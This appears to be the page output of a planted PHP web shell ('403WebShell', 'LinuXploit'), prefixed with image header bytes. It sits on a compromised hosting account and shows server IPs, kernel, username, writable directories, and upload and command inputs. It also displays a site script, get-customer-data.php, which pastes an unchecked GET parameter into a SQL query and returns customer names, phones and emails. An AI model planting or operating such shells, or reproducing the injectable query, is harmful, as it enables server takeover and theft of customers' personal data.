����JFIF��H�H����Exif��MM�*���� ��3����V�����3������3�(��������������������3�����403WebShell
403Webshell
Server IP : 162.0.232.25  /  Your IP : 13.59.130.154
Web Server : LiteSpeed
System : Linux premium276.web-hosting.com 4.18.0-513.11.1.lve.el8.x86_64 #1 SMP Thu Jan 18 16:21:02 UTC 2024 x86_64
User : kwacuqig ( 988)
PHP Version : 8.2.26
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/kwacuqig/voltify.malawisounds.com/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/kwacuqig/voltify.malawisounds.com/get-customer-data.php
<?php
include './php/connect.php';

function calculateKWh($price) {
    
    return round($price/110.0);
}

$meterNumber = $_GET["meterNumber"];
$price = $_GET["price"];

$query = "SELECT * FROM `customers` WHERE `meter_number` ='$meterNumber'";
$result = mysqli_query($conn, $query);

if ($result && mysqli_num_rows($result)> 0) {
    $row = mysqli_fetch_array($result);
    $customerData = array(
        "firstname" => $row["firstname"],
        "surname" => $row["surname"],
        "mobile" => $row["mobile"],
        "email" => $row["email"],
        "kwh" => calculateKWh($price)
    );
    echo json_encode($customerData);
} else {
    echo json_encode(array());
}
?>

Youez - 2016 - github.com/yon3zu
LinuXploit